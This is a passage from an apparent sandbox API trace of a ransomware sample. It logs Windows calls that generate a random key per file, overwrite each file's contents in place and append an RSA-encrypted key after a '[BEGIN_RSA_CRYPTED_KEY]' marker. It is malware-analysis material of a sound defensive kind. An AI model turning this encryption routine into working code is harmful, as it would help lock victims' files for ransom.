lpBuffer=0x3546020*, nNumberOfBytesToWrite=0x11db39, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3546020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11db39, lpOverlapped=0x0) returned 1 [0215.745] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11db39 [0215.745] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.745] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.745] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.746] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="Q7LwvDRN5eEvMsc1G+l9s3EJsiNQ+N8vlJ2oA5YmcqWs4dn4G4MGqNH13g0oCySQ\nhSAJ90044UNX6rWWG5cnHe/NYUvJ9F6yJkQzRbbz32EqOlz/n140vrRuxMg/lKg/\nhcavxMFZFHmtg5c5dxtmaWCX6hDxSeX9NbfRG4S31kAbdG6sHt+LVFlZebZUOMXO\nbozCUN58ku5O6onE5qQqRMcXUArGxpnjc4su+81DLm7lumcE/jMRf17A5xbDu+p2\npx934BujWoNln9X1IkqVVeUuOgYQHGPXcEzRxm8WBo2fOJzioWJe0z2hWpJhh2vD\n30C/jSLSUoNJUB1opEcOnA==\n", pcchString=0x2e3f9a8) returned 1 [0215.746] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.746] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.746] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.746] CloseHandle (hObject=0x1840) returned 1 [0215.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.750] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c", dwFileAttributes=0x80) returned 1 [0215.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\977f5c9a5a19cf3748d5deb8f65137b40e50e2235518e0de1e50cdec2ddd029c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.752] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17435) returned 1 [0215.752] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x441b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x441b, lpOverlapped=0x0) returned 1 [0215.974] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.974] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39448*, nNumberOfBytesToWrite=0x441b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39448*, lpNumberOfBytesWritten=0x2e3f9b4*=0x441b, lpOverlapped=0x0) returned 1 [0215.975] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x441b [0215.975] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.975] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.975] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0215.975] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0215.975] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0215.976] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="vwZ5+tzUQlIGuP+zNH7aSHnbJ/RuaCnXtq2ntb9hQqYMQLhtbW8PMCn01kYOsLLp\nI7+Y3YbHkr/d3xZk5L2uYJNeqTT2GtvbhNdNd2knj8G2dhLFojrzjltzsJsQFn0n\nj2Rvfi5ZQj/YH2JZcSJpzZOSUKV0lLPspQ/G/j0NYp57xp2M2OMgLb+pePFVSbnT\nbNYcbw9aDNLMlP1hUwpz66nejzHGgp0eh4AemU8xaZ7cDvr8OuXhvhVjDRR32b/r\nZeSNLnOgZgZiV122XeDeg1V4N04KynN/+YYwig5M1EqcJtVyGpaHmvxQlPrlW0oa\n0fXx8TSMS8dPOWn7IByzEQ==\n", pcchString=0x2e3f9a8) returned 1 [0215.976] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0215.976] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0215.976] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0215.976] CloseHandle (hObject=0x1840) returned 1 [0215.978] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0215.978] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d", dwFileAttributes=0x80) returned 1 [0215.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\94e62326ef2693f9ba1d7b76ae9d0169824badd7a7171624f4eafc65bda2189d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0215.979] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16768) returned 1 [0215.979] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4180, lpOverlapped=0x0) returned 1 [0216.030] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.030] WriteFile (in: hFile=0x1840, lpBuffer=0x2f391a8*, nNumberOfBytesToWrite=0x4180, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4180, lpOverlapped=0x0) returned 1 [0216.031] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4180 [0216.031] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.031] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.031] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.031] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.031] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.031] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="fizn0ccIh6JMqKonp55JnQYHG6jQnfKpvqmapUr55IVmt/8OnSchJXJcl89q32J+\ndOWYP3Mn3SDesIBQ/0v76L3tUePCDSKeA/FdVj7dHXdPgUbwoYfTrYlyEg+ojomy\nEE1P9C9NUea2wraZ1Wd9kmW89MZbRUMUFRW61qcmMx6aR9Q7/BLRz9cKFZEQZ5s/\nJLxMuCoX0FkvvaReL41WZsuVnqajd/4wyt5yr+PeoR3NBDVKbcfPA80gz1xKOLB5\nQyhbYYN39Jo7K6GWSoF6Jmzg4ragllOduiBrnKmctI+uRO6MFvw/JLdXq7bT3noB\nkLW098ec6IeeoPX78WNtcA==\n", pcchString=0x2e3f9a8) returned 1 [0216.031] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.031] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.032] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.032] CloseHandle (hObject=0x1840) returned 1 [0216.035] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.035] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec", dwFileAttributes=0x80) returned 1 [0216.036] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\933d6b27bbaa6927ea11d1e7daa69921c86fa7d7315dc33ecdfb22c28da5efec"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.036] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=352893) returned 1 [0216.037] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x5627d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x5627d, lpOverlapped=0x0) returned 1 [0216.095] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-352893, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.095] WriteFile (in: hFile=0x1840, lpBuffer=0x33a7298*, nNumberOfBytesToWrite=0x5627d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33a7298*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5627d, lpOverlapped=0x0) returned 1 [0216.096] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5627d [0216.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.097] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.097] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="a4Z+NTyumAA/RE/KX+PwfndnLyg1DtbDd71oiGXD6cWLgnYs2aJvSbbYFbF1j0xr\nO55KTgp04+VvFEorDQq3gXaRFA0jg8VqqgpSHAlllFqsnI6mqWMtx1Gj9xzFGYAV\nWyrXR6ti5jrpbcy1plp97jOArZToMnCYZexhoP7CxyUSaoNdvZgJMfcGrr7f9BcW\n3oUljmNTWI6DxA6uL2lGRgTG30r+z/fwMcJUOzZC6gPvifO6pI2Im1x8Pkhcj5tY\nHMu1AgBGWwTK0OGYNRG2HVfDYRpAHZAUW2XBFec2P+LnnLb0MsL8vZlYLOSuats7\nEzQV+MIOnpm90DMFnk0JGg==\n", pcchString=0x2e3f9a8) returned 1 [0216.097] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.097] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.097] CloseHandle (hObject=0x1840) returned 1 [0216.100] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.100] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5", dwFileAttributes=0x80) returned 1 [0216.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\9306d4c5297fdc4975475ed2863d46d82c219d27258471cd1d210e48308874f5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.101] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12178) returned 1 [0216.101] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x2f92, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x2f92, lpOverlapped=0x0) returned 1 [0216.172] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-12178, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.172] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37fc0*, nNumberOfBytesToWrite=0x2f92, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37fc0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2f92, lpOverlapped=0x0) returned 1 [0216.172] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2f92 [0216.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.172] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.172] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.173] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="UTpmv+d3qh2rx4Jldi1BQDvJ7Sx1+0tonnlP+UJ/xNwW4uSmKVjtcxkstLhYfpx1\nO91c6hPovCsB5TYSPj8pE80YoWgejkgxrUOc4w6Va7DWpL8cKDaBEdCnKNT/kAUe\nE7o5VTkmC+aXlOs7wgkbqqpL7YOvJQ4+ZY+bUi1IAOGxsGv100LR3qNC7ZssiBUd\n26+/w+czid8fmvOZWbwbRiBn60HLyP3xxMey4eJ9XBpeil0FMyF3b/h47i8YmkoL\nVPbL8FtCTRoS604gBIMnpKuUpllnfQNmV/NQRmGAzgrq591rTVtmLEdJe5raXVSw\nekZ6dWKNN8Xuik/3BZCNbQ==\n", pcchString=0x2e3f9a8) returned 1 [0216.173] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.173] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.173] CloseHandle (hObject=0x1840) returned 1 [0216.174] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.174] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1", dwFileAttributes=0x80) returned 1 [0216.175] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\92628a6844dadb65a4389900b1a68ec6e0c15f420233bd15279b82caab3976a1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0216.176] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=141160) returned 1 [0216.176] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x22768, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x22768, lpOverlapped=0x0) returned 1 [0216.193] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-141160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.193] WriteFile (in: hFile=0x1840, lpBuffer=0x3373780*, nNumberOfBytesToWrite=0x22768, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3373780*, lpNumberOfBytesWritten=0x2e3f9b4*=0x22768, lpOverlapped=0x0) returned 1 [0216.193] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x22768 [0216.194] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.194] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.194] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0216.194] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0216.194] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0216.194] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="O5j3xauEdsBs7bvfpnqxzIJzuLnO3BL1ubQAWuugiJEd/GcRGgwR04uB8cu9++Zw\nNqv7oP9G/4tFMLaYr9IIk1RM0BxpooKEIVc7n9tGQeOoT8+7oejDHkD7yydQ5otq\nRGtSFHRzXzjQtHxRvZjIBHoqw994VfwTCz73mQ9T5uGz5cVKZeFG9D4JGdgRQ61Z\nk2m62PL/TDM+DYhy8Y4/4WT1PSPJJww0YXrALVvbu+1Egb2R1ziCYc7j/1lUg1Uh\ni3vEbz6oYDSboeFvVp5OdkttLuD6zXdz2RBGtjmFQkcJxr11GHDP2cykIzY2pX05\nV/cv+5BuZt2CBg0zophHEw==\n", pcchString=0x2e3f9a8) returned 1 [0216.194] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0216.194] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0216.194] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0216.194] CloseHandle (hObject=0x1840) returned 1 [0216.196] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0216.196] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c", dwFileAttributes=0x80) returned 1 [0216.197] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\8ed540f298095b3ee3fae7a015efa0a459f89d54468782a9e0285c66b9543b6c" (normalized: 